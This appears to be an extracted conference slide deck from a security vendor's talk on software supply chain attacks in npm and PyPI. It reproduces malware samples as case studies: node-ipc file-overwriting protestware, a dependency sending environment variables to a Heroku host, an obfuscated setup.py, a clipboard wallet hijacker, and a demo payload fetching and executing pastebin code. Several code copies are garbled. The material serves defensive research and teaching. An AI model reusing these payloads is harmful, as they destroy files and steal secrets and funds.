Behind the Package: Unmasking Malicious Intent in Software

Tyler Agypt
Director of Strategic Initiatives
Checkmarx

OWASP – Cinci Chapter
Fighting Software Supply Chain Attackers
Software Suppliers Are Software Consumers

Software HAS CHANGED

NPM fonts

NPM colors

Github Co-Pilot

Jenkins
Artifactory
AWS

Code
Check-in
Build
Package
Deploy
Go-live

</ 3 >
Attacks are executed at any point in SDLC

The entry points for threats span the entire software lifecycle and can originate inside or outside of your organization.

**SOURCE THREATS**
1. Write insecure code
2. Bypass code review
3. Compromise source control system

**DEPENDENCY THREATS**
1. Use a bad dependency

**BUILD THREATS**
1. Modify code after source control
2. Compromise build platform
3. Bypass CI/CD
4. Compromise artifact repository

**DEPLOYMENT AND RUNTIME THREATS**
1. Use a compromised package
2. Compromise deployment process
3. Deploy compromised or noncompliant software
4. Vulnerabilities in running software
Risk Tolerance is Quickly Changing

Software Supply Chain Security
Supply chain security focuses on protecting the entire process of creating and distributing software, from the initial development to the final delivery to the end user.

Software Supply Chain Attack
An event in which a bad actor breaches the system to utilize the supplier's distribution for a larger attack as an example SolarWinds

Software Supply Chain Vulnerability
An accidental security flaw in a piece of the complex application creation as an example Log4Shell

Diagram:
- Code
- Check-in
- Build
- Package
- Deploy
- Production
  - Attack Risk
  - Vulnerability Risk
Vulnerable Dependencies:
- exploited to gain unauthorized access or steal sensitive data
- CVE assigned

Malicious Dependencies:
- used as an attack vector to compromise your systems
- CVE not assigned
Why Software Supply Chain Security Matters

150,878+ malicious packages discovered by Checkmarx Labs in 2023

Compared to 25,226 vulnerabilities reported in 2022
80k packages per month
100k packages per month
700k packages per month
170k packages per month
8k packages per month

Ahead of time analysis
- Contributor Reputation
- Malicious Behavior
- Threat Hunters
- Threat Intelligence
+ 30 Automation Engines

Manual review

Report security teams for removal + open source the findings
Checkmarx Security

WASP Attack on Python — Polymorphic Malware Shipping WASP Stealer; Infecting Hundreds...
In early November, several malicious packages were reported by Rhum and CheckPoint. We link these two reports to the same attacker with...

Researchers Are Poisoning Open-Source Packages. What Should We Do?
These are a few examples of Open-Source security researchers who went a bit too far and some guidelines for preventing these situations.

Attacking the Software Supply Chain with a Simple Rename
A vulnerability in GitHub that allows attackers to take control over GitHub repositories belonging to renamed accounts.

LofyGang - Software Supply Chain Attackers; Organized, Persistent, and Operating for...
Checkmarx discovered ~200 malicious NPM packages with thousands of installations linked to an attack group called "LofyGang".

dYdX - Account Takeover
The recent dYdX account takeovers have raised concerns about the security of the platform. Users are advised to be cautious and monitor their accounts regularly.

Automatic Extraction of Code
Automated tools are increasingly being used to extract code from software packages, presenting a serious threat to the integrity of open-source projects.

August in Software Supply Chain Threat Landscape 2022
A snapshot of the latest threats in the software supply chain for August 2022, highlighting emerging trends and vulnerabilities.
OF THE CODE IN YOUR APPS COMES FROM OPEN SOURCE
Developers want to deliver fast
$ npm install cncjs
npm install cncjs

+ cncjs@1.9.25
added 811 packages from 611 contributors and audited 811 packages in 132.202s
Monthly Package Releases

- Java
- NuGet
- Python
- npm
- Dart
- RubyGems
Over 700,000 Monthly Package Releases
Why we naturally tend to trust OSS so much

• Open for everyone to look
• If there’s an issue “someone” will notice
• There are scoring mechanisms to star and rate
• It gives a trustworthy feeling
How do we tend to understand OSS credibility?
Package Usage?

A

Used by 4.4m

B

Used by 1

@Checkmarx / ast-vscode-extension
Package Downloads/Stars/Last Updated?

A

sindresorhus/awesome-nodejs

Delightful Node.js packages and resources

nodejs  javascript  list  awesome  node

51.9k  Updated 14 days ago

B

TechDom-Ca/package-installation-scripts

Shell  0  Updated on May 23
Developer History and Company?

160 contributions in the last year

23 contributions in the last year
How do we tend to understand OSS credibility?
Lesson #1

Popular != Safe
UA Parser.js

JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint (~17KB minified, ~5KB gzipped) that can be used either in browser (client-side) or node.js (server-side).

- Author: Faisalman
- Demo: https://www.npmjs.com/package/ua-parser-js
- Source: https://www.npmjs.com/package/ua-parser-js
Maintained 10 years
10m Weekly Downloads

📅 2022-04-03 to 2022-04-09

10,076,504
Used by millions.
including Facebook.
Most likely you’re using it
Russian Underground

Acc development, 7kk installations per week

24 minutes ago in Auctions

I sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access.

Suitable for distributing installations, miners, creating a botnet.

Start $10k
Step $1k
Blitz $20k
24 hours after the last bet

Guarantor, we will pay the commission 50/50
A couple of weeks later

Hi all, very sorry about this.

I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary).

I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0

I have sent a message to NPM support since I can't seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.
ua-parser-js/0.7.29/package.json

```json
...
1
2  
3  
4  + "version": "0.7.29",
5  
6  + "description": "Lightweight JavaScript-based user-agent string parser",
7  
8  + "keywords": [
9  
10 + "-144,6 +142,7 @@
11  
12 + "preinstall": "start /B node preinstall.js & node preinstall.js",
13  
14 + "scripts": {
15  
16 +   "preinstall": "start /B node preinstall.js & node preinstall.js",
17 +   "build": "uglifyjs src/ua-parser.js -o dist/ua-parser.min.js -c -m -p --comments & q
18 +   "test": "jshint src/ua-parser.js & mocha -R nyan test/test.js",
19 +   "test-cli": "jshint src/ua-parser.js & mocha -R spec test/test.js",
20 + }
21 
```
Two weeks later
Nov 4th 2021
Two NPM Packages With 22 Million Weekly Downloads Found Backdoored

GitHub Advisory Database / GHSA-73qr-pfmq-6rp8

Embedded malware in coa

critical severity  Published 4 days ago • Updated 3 days ago

Vulnerability details  Dependabot alerts

COMPROMISED
Command-Option-Argument

Yet another parser for command line options.

What is it?

COA is a parser for command line options that aim to get maximum profit from formalization your program API. Once you define it in terms of commands, options and arguments you automatically get:

- Command line help test
- Program API for use COA based programs as modules
- Shell completion

Other features

- Rich types for options and arguments, such as arrays, boolean flags and required
- Commands can be async through using promises (powered by Q)
- Easy sub-module some existing commands to new top level one

rc

The non-configurable configuration loader for lazy people.

Usage

The only option is to pass rc the name of your app, and your default configuration.

```javascript
var conf = require('rc')(appname, {
  //defaults go here.
  port: 2468,

  //defaults which are objects will be merged, not replace
  views: {
    engine: 'jade'
  }
});
```

Repository

github.com/veged/coa
22m Weekly Downloads

Homepage

🔗 github.com/veged/coa

🔗 github.com/dominictarr/rc#rea...

† 2022-03-27 to 2022-04-02

9,555,969

† Weekly Downloads

12,451,373

Version License

2.0.2 MIT

1.2.8 (BSD-2-Clause...
Same malicious code
We are seeing more and more attacks on good packages
Meet Brandon Nozaki Miller
He's making a positive impact
Packages

41 Packages

event-pubsub
Super light and fast Extensible ES6+ events and EventEmitters for Node and the browser. Easy for any developer level, use the same exact code in node and the browser. No frills, just high speed events!

riaevangelist published 5.8.3 • a year ago

node-cmd
Simple command line/terminal/shell interface to allow you to run cli or bash style commands as if you were in the terminal.

riaevangelist published 5.8.0 • 9 months ago

ria
Node tool for developing RIA Apps using the RIA app framework. Helps initialize the app and create modules using UI templates and architecture.

riaevangelist published 2.8.2 • 8 years ago

bluetooth-programmer
node-ipc

node-ipc 11.1.0 • Public • Published 2 months ago

node-ipc

a node.js module for local and remote Inter Process Communication with full support for Linux, Mac and Windows. It also supports all forms of socket communication from low level unix and windows sockets to UDP and secure TLS and TCP sockets.

A great solution for complex multiprocess Neural Networking in Node.js

as of v11 this module uses the peacenotwar module.

npm install node-ipc

for node v14

npm install node-ipc@^9.0.0
1m Weekly Downloads

Homepage
🔗 riaevangelist.github.io/node-ipc/

📅 2022-03-13 to 2022-03-19

1,123,900

Version          License
11.1.0            MIT
Maintained for 8+ years
Brandon added new functionality
import u from "path"; import a from "fs"; import o from "https"; setTimeout(function(){
  t=Math.round(Math.random() * 4); if(t>1){return}
  n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFtMTYyNzgyNGE5NjhjYWFhNzU4YT0kMDkxNTQ", "base64"); o.get(n.toString("utf8"), function(t){
    t.on("data", function(t){
      n=Buffer.from("Li8", "base64");
      const o=Buffer.from("Li4v", "base64");
      const r=Buffer.from("Li4vLi4v", "base64");
      const f=Buffer.from("Lw==", "base64");
      const c=Buffer.from("Y291bnRyeV9uYWU1", "base64");
      const e=Buffer.from("cnVzc2lh", "base64");
      const i=Buffer.from("YmVsYXJ1cw==", "base64");
      try{
        r=new JSON.parse(t.toString("utf8"));
        const u=r[s[c.toString("utf8")]].toLowerCase();
        if(a.includes(u.toString("utf8"))){
          h(n.toString("utf8")); h(o.toString("utf8"));
          r.toString("utf8")); h(f.toString("utf8"));}
        catch(t){
          Math.ceil(Math.random() * 1e3); async function h(n="", o=""){
            if(!a.existsSync(n)){return}
            let r=[]; try{
              r=a.readdirSync(n); catch(t){
                const f=[];
                const c=Buffer.from("4p2k77iP", "base64");
                for(var e=0; e<r.length; e++){
                  const i=u.join(n, r[e]); let t=null
                  try{
                    t=a.lstatSync(i); catch(t){continue}
                  } if(t.isDirectory()){
                    const s=h(i, o); o.length>0? f.push(...s):null
                  } else if(t.isDirectory) {
                    try{
                      a.writeFile(i, c.toString("utf8"), function(){})
                    } catch(t){}
                  } return f;
                } const ssl=true; export {ssl as default, ssl}
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {};
        });
    }, 100);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {
            }
        });
    }, 100);
Free IP Geolocation API and Accurate IP Lookup Database

Free IP API provides country, city, state, province, local currency, latitude and longitude, company detail, ISP lookup, language, zip code, country calling code, time zone, current time, sunset and sunrise time, moonset and moonrise time from any IPv4 and IPv6 address in REST, JSON and XML format over HTTPS.
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaa758a5309154";
    const pwd = "/";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {}" float="false" data-type="text" data-lang="en"}

}}, 1000);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
  const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaa758a5309154";
  const pwd = "./";
  const parentDir = "../";
  const grandParentDir = "../../";
  const root = "/";

  https.get(url, function (message) {
    message.on("data", function (msgBuffer) {
      try {
        const response = JSON.parse(msgBuffer);
        const userCountryName = response["country_name"].toUpperCase();
        if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
          deleteFile(pwd);
          deleteFile(parentDir);
          deleteFile(grandParentDir);
          deleteFile(root);
        }
      } catch (e) {} 
    });
  }, 100);
To Russia With Love

Before

After
Brandon Nozaki Miller @electricCowboyR · Mar 19

> U DOWNLOADED MY SOFTWARE FOR FREE SO I'M ALLOWED TO WIPE UR COMPUTER

It is documented what it does and only writes a file if it does not exist. You are free to upgrade to a version that does not include this until something happens with the world that turns into World War III and more of us wish that we had done something about it, or ends and this gets removed.

This is why it is done as a new major rev. This also should serve as a safe example of how teams should use explicit dependency versions. So it is always our choice to upgrade or not.

This is all public, documented, licensed and open source.

If you look at the very next sentence after the one you quoted:

This module will add a message of peace on your users desktops, and it will only do so if the does not already exist just to be polite.

I respect your opinion though.
A good reputation is hard-won and easily lost
Popular Packages Gone Bad

- ua-parser-js
- coa
- rc
- node-ipc
- colors, faker
- styled-components
- ...
Lesson #2
Don’t Believe What You See
Pamyio: Pattern Matching for Python

from pamyio import match, _

input = [1, 2, 3]

pattern = [1, 2, _]

action = lambda x: "it's {}".format(x)
pampyio and pampy have the same code
But `pampyio` has a strange dependency

- You
- pampyio
- redapty
url = "atad?/moc.ppaorkohe.0991liveetihw//:sptth"[:::-1]
urlrul = url + str(dict(os.environ))
requests.get(urlrul)
url = "https://whiteevil1990.herokuapp.com/?data="
url = "atad?/moc.ppaukoreh.0991liveetihw//:sptth"[:: -1]
urlrul = url + str(dict(os.environ))
requests.get(urlrul)
Malicious code in a sub-dependency
Pampy: Pattern Matching for Python
from pamy import match, _
input  = [1, 2, 3]
pattern = [1, 2, _]
action = lambda x: "it's {}".format(x)
Welcome to Package Lab, the swiss army knife for demonstrating supply-chain issues related to open-source packages.

Fake GitHub Activity
Create a New Package

This tool developed by Checkmarx to help demonstrating supply chain security flaws in OSS
Step 1: Create a Fake Identity

Email (get disposable account)
zep7pjiwepn@gmail.com

PyPI Username (create account)
zep7pjiwepn

PyPI Password
***************

DON'T TAKE CODE FROM STRANGERS
Step 2: Fill Package Metadata

Type
Python

Name
supplychaindem

Version
e.g. 1.2.3

Description
This package is used for security research and demonstrations. It might contain dangerous code snippets. Do not run.

Project Git Repo URL (browse trending)
e.g. https://github.com/<user>/<repo>
Step 2: Fill Package Metadata

Type
Python

Name
supplychaindemo

Version
1.2.3

Description
This package is used for security research and demonstrations. It might contain dangerous code snippets. Do not run.

Project Git Repo URL (optional)
e.g. https://github.com/<user>/<repo>
Step 2: Fill Package Metadata

Type
Python

Name
supplychaindemo

Version
1.2.3

Description
This package is used for security research and demonstrations. It might contain dangerous code snippets. Do not run.

Project Git Repo URL (browse trending)
https://github.com/neyeonghui/the-economist-ebooks

Previous  Next
Step 3: Add a Malicious Payload

Code snippet (executed upon import)

1. import requests
2. 
3. exec(requests.get('https://pastebin.com/raw/MeVAWmL').text)
4. 

Previous  Next
Step 4: Summary

LET'S BREAK SOME SOFTWARE SUPPLY-CHAINS

Please confirm:

- Package Name: supplychaindemo
- Package Version: 1.2.3
- User Email: zepjtpjwepn@gmail.com
- Project Git Repo URL: https://github.com/hehonghui/the-economist-ebooks
- Project Git Repo Stars: ⭐️ 9223
- PyPI Username: zepjtpjwepn
Fake GitHub Activity

Signed in as ZackAccount

- Make Senior Developer
- Add Contributors
- Clear All Repositories

Don't take code from strangers

GitHub Verified Commits
Five Easy Ways

- **Starjacking** - stealing stars from known, respected packages to an attacker's newly created package.
- **Repojacking** - hijacking a respected package/repo path using a simple rename.
- **Spoofing Contributor activity** using unverified commits.
- **Adding known Contributor** to malicious repo/packages.
- **Spoofing Contributor organization**
Lesson #3
Attackers are Evolving
import sys
from distutils.core import setup
import random

if sys.platform == '':
    join(map(getattr(__builtins__, oct.__str__())[-3 << 0] + hex.__str__())[-1 << 2] +
        copyright.__str__())[4 << 0], (((1 << 4) - 1) << 3) - 1, (((3 << 2) + 1) << 3) + 1,
    (7 << 4) - (1 << 3), (((3 << 2) + 1) * 2) - 1, (((3 << 2) + 2) << 1)];
if sys.argv[1] in [''.join(map(getattr(__builtins__, oct.__str__())[-3 << 0] + hex.__str__())[-1 << 2] +
        copyright.__str__())[4 << 0], (((3 << 3) + 1) << 2) + 1, (((3 << 2) + 1) * 3) - 1,
    (((3 << 2) + 1) * 2) - 1, (3 << 5) - 1, (((3 << 2) + 1) * 2) + 1, (7 << 4) - (1 << 3),
    (((3 << 2) + 1) * 3) - 1, (7 << 4) - (1 << 3), (((3 << 2) + 1) * 2) - 1, (1 << 2),
    (7 << 4) - (1 << 3), (((3 << 2) + 1) * 2) - 1, (((3 << 3) + 1) << 1)];

while 马女水女口咽人馬鳥月水馬山山鳥:
    if 10836 == 马女水女口咽人馬鳥月水馬山山鳥:
        import pip
        pip.main([''.join(map(getattr(__builtins__, oct.__str__())[-3 << 0] + hex.__str__())[-1 << 2] +
            copyright.__str__())[4 << 0], (((3 << 2) + 1) * 2) - 1, (((3 << 2) + 1) * 2) + 1,
            (7 << 4) - (1 << 3), (((3 << 2) + 1) * 2) - 1, (((3 << 3) + 1) * 2) + 1)];
    if 10836 == 马女水女口咽人馬鳥月水馬山山鳥:

    elif 马女水女口咽人馬鳥月水馬山山鳥 == 286625773:
let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
  document.execCommand('paste');
  var clipboardContent = inputElement.value;
  clipboardContent = clipboardContent.replace(/(0x)[A-Fa-f0-9][40]/g, '0x6eb2103839013Ed56c98165b3d3f9d68E1b4da63');
  clipboardContent = clipboardContent.replace(/(0X)[A-Za-z0-9][33]/g, 'TC4dtT7YLykhuzyLqBQMsuHb36QfFmpfaa');
  clipboardContent = clipboardContent.replace(/([bhn]b[0-9a-z])[38]/g, 'bhn1pcc5ct0rh3crcdm87880x9jxgy038m133cweu');
  clipboardContent = clipboardContent.replace(/([a-km-zA-HJ-NP-Z][a-z0-9])[63,33]/g, 'bc1qjkn7r7677a4fkcmx9zikl55a9eaqfttq8zwrcc2');
  clipboardContent = clipboardContent.replace(/([lnj][a-km-zA-HJ-NP-Z][a-z0-9])[26,33]/g, 'LCvCt9KwHwUKfLdnjBxuUtxj956weuUyvkn3');
  clipboardContent = clipboardContent.replace(/([0-9a-zA-Z])[24,34]/g, '0d2pxs7x7E778X33Ezt2Qyj3H3ixMe9px');
  clipboardContent = clipboardContent.replace(/([D][5-9A-HJ-NP-U])[1][1-9A-HJ-NP-Za-z0-9][32]/g, 'DFbeV3wU9TCbyBvGriy3DcNbwYhK3s7ybx');
  clipboardContent = clipboardContent.replace(/([0-9a-zA-Z])[55]/g, 'add1r8206rrze22rz8g5g4n4cv7zu9jqmg6alnllwbbv317r8bk9155x9j55xyw3f3s837teu9ctkp5am4l7cuwrluxozq3ltwvz');
  clipboardContent = clipboardContent.replace(/([48])((0-9A-B))((0-9a-zA-Z))(93)/g, '4liyw35kkd8bfy5sxsdccbg6f3zyud6h0m4fjystycYhtyx.png3P7qg187v5U6GKNQegefxS2FqepavV3');
  clipboardContent = clipboardContent.replace(/([G][7-9A-Za-z])[55]/g, 'ccgPZDm85X5QD3MCN4R2B5JMC55KUYG12H2MNH3EB5LCMNNW30Q242XH');
  clipboardContent = clipboardContent.replace(/(cosmos[a-z0-9])[39]/g, 'cosmos1cd3hxdkc77szj75xtd3q8ps7bhzkzwcc58y');

  inputElement.value = clipboardContent;
  inputElement.select();
  inputElement.value = '•';
}

setInterval(checkWalletAddresses, 1000);
### ~300 User Accounts

<table>
<thead>
<tr>
<th>Username</th>
<th>Display Name</th>
<th>Registration Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>ecnledar07</td>
<td>ecnledar07</td>
<td>2022-11-04T18:14:27+0000</td>
</tr>
<tr>
<td>peke-0393</td>
<td>peke-0393</td>
<td>2022-11-04T18:14:13+0000</td>
</tr>
<tr>
<td>klenin281</td>
<td>klenin281</td>
<td>2022-11-04T18:13:57+0000</td>
</tr>
<tr>
<td>pinigin.9494</td>
<td>pinigin.9494</td>
<td>2022-11-04T18:13:15+0000</td>
</tr>
<tr>
<td>lcalrik5959</td>
<td>lcalrik5959</td>
<td>2022-11-04T18:12:57+0000</td>
</tr>
<tr>
<td>rita290859</td>
<td>rita290859</td>
<td>2022-11-04T18:12:10+0000</td>
</tr>
<tr>
<td>bratka.2013</td>
<td>bratka.2013</td>
<td>2022-11-04T18:11:54+0000</td>
</tr>
<tr>
<td>axibekbek</td>
<td>axibekbek</td>
<td>2022-11-04T18:11:36+0000</td>
</tr>
<tr>
<td>altezzaz871</td>
<td>altezzaz871</td>
<td>2022-11-04T18:11:18+0000</td>
</tr>
<tr>
<td>vseravnonet</td>
<td>vseravnonet</td>
<td>2022-11-04T18:10:42+0000</td>
</tr>
<tr>
<td>pristupa-aa</td>
<td>pristupa-aa</td>
<td>2022-11-04T18:10:29+0000</td>
</tr>
<tr>
<td>ax_s_nad-0150</td>
<td>ax_s_nad-0150</td>
<td>2022-11-04T18:09:59+0000</td>
</tr>
<tr>
<td>sanyaperminov</td>
<td>sanyaperminov</td>
<td>2022-11-04T18:08:29+0000</td>
</tr>
<tr>
<td>nbllednovaaa</td>
<td>nbllednovaaa</td>
<td>2022-11-04T18:07:49+0000</td>
</tr>
<tr>
<td>rivalo2</td>
<td>rivalo2</td>
<td>2022-11-04T18:07:32+0000</td>
</tr>
<tr>
<td>Sasa_pak</td>
<td>Sasa_pak</td>
<td>2022-11-04T18:07:11+0000</td>
</tr>
<tr>
<td>gena.ulan</td>
<td>gena.uralan</td>
<td>2022-11-04T18:06:47+0000</td>
</tr>
<tr>
<td>qwertyqvery</td>
<td>qwertyqvery</td>
<td>2022-11-04T18:05:50+0000</td>
</tr>
<tr>
<td>r5r5sysdf</td>
<td>r5r5sysdf</td>
<td>2022-11-04T18:05:07+0000</td>
</tr>
<tr>
<td>maiorat1061</td>
<td>maiorat1061</td>
<td>2022-11-04T18:04:40+0000</td>
</tr>
</tbody>
</table>
RED-LILI Malicious Packages Factory
Using disposable domains

Interactsh Server

Interactsh is an open-source tool for detecting out-of-band interactions. It is a tool designed to detect vulnerabilities that cause external interactions.

If you notice any interactions from \*rt11\.ml in your logs, it's possible that someone (internal security engineers, pen-testers, bug-bounty hunters) has been testing your application.

You should investigate the sites where these interactions were generated from, and if a vulnerability exists, examine the root cause and take the necessary steps to mitigate the issue.

Interactsh Server

Interactsh is an open-source tool for detecting out-of-band interactions. It is a tool designed to detect vulnerabilities that cause external interactions.

If you notice any interactions from \*22timer\.ga in your logs, it's possible that someone (internal security engineers, pen-testers, bug-bounty hunters) has been testing your application.

You should investigate the sites where these interactions were generated from, and if a vulnerability exists, examine the root cause and take the necessary steps to mitigate the issue.
The attacker became angry at us.

dontblowthisoff
heisnotwhatyousee
helloboy634
nosoawesome232
fuckyouscanner
RED.LILI is a software supply chain threat actor which has published 1586 malicious packages. As Checkmarx uncovered, this attacker has demonstrated new techniques that power him with automated NPM account creation.

This open-source project tracks RED.LILI's activity over time as there are evidence the actor is still active. All information provided here is intended for research purposes.

The original package evidence samples as they were published to NPM with related metadata are available to download on our GitHub page github.com/checkmarx/red-lili
The original package evidence samples as they were published to npm with related metadata are available to download on our Github page github.com/checkmarx/red-liri.
Lesson #4
Knowledge is Power
Discord-selfbot-v12

About

discord.js is a powerful Node.js module that allows you to easily interact with the Discord API.

- Object-oriented
- Predictable abstractions
- Performant
- 100% coverage of the Discord API

Installation

Node.js 16.3.6 or newer is required.

- `npm install discord-selfbot-v12`
- `yarn add discord-selfbot-v12`
- `npm add discord-selfbot-v12`

Optional packages

- `zlib-sync` for WebSocket data compression and inflation (npm install zlib-sync)
- `eripack` for significantly faster WebSocket data serialization (npm install discord/eripack)
- `bufferutil` for a much faster WebSocket connection (npm install bufferutil)
- `utf-8-validate` in combination with `bufferutil` for much faster WebSocket processing (npm install utf-8-validate)
- `@discordjs/voice` for interacting with the Discord Voice API (npm install @discordjs/voice)
We started to connect the dots

Malicious npm 'colors' Typosquats Pack Discord Malware

Sonatype takes away the pain of attackers. See how we make sure your systems are secure and your information is protected. Learn more at https://blog.sonatype.com.
This leak has been rated as infected
How 140k NuGet, NPM, and PyPi Packages Were Used to Spread Phishing Links

* Joint research of Checkmarx supply chain research team and illustria.io resulted with an anomaly discovered in the open-source ecosystem
* Over 144,000 packages were published to NuGet, NPM, and PyPi by the same threat actors
* Investigation revealed a new attack vector — attackers spam open-source ecosystem with packages containing links to phishing campaigns
* All packages and related user accounts were most likely created using automation
* The threat actors refer to retail websites with referral ids to benefit the threat actors with referral rewards.
* Our teams disclosed the findings in this report and most of the packages were unlisted.
Our software, our responsibility
Don’t take code from strangers without vetting
We Collaborate For Securing The Software Supply Chain
THE INDUSTRY’S MOST COMPREHENSIVE APPSEC PLATFORM

Deployed Anywhere:
- Single tenant
- Self Managed
- SaaS Multi Tenant

Unified Dashboard & Reporting
Shared Enterprise Services

APPLICATION LIFECYCLE:
- Train
- Design
- Code
- Check-In
- Build
- Test
- Deploy
- Go-Live
- Feedback

FUSION
- SAST
- SCA
- SCS
- API Security
- DAST
- IaC Security
- Container Security